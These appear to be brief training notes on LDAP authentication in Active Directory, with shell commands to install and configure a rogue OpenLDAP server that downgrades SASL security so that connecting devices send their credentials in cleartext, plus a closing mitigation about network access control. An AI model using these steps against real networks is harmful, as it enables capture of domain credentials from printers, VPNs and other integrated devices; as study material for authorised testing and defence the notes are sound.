AuthN Similar to NTML authN
LDAP authN - application directly verifies the user’s credentials - app has a pair of AD creds that it can use first to query LDAP and then verify the AD user’s credentials - popular mechanism with 3rd party (non-microsoft) apps that integrate with AD, like - Jenkins - custom web apps - printers - VPNs
Use OpenLDAP to host a rogue LDAP server:
sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd
Configure it:
sudo dpkg-reconfigure -p low slapd
use the ldif file to patch our LDAP server using:
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart
Verify the LDAP server config:
ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms
Note: olcSaslSecProps: Specifies the SASL security properties noanonymous: Disables mechanisms that support anonymous login minssf: Specifies the minimum acceptable security strength with 0, meaning no protection.
Enforce Network Access Control (NAC) - NAC can prevent attackers from connecting rogue devices on the network. However, it will require quite a bit of effort since legitimate devices will have to be allowlisted.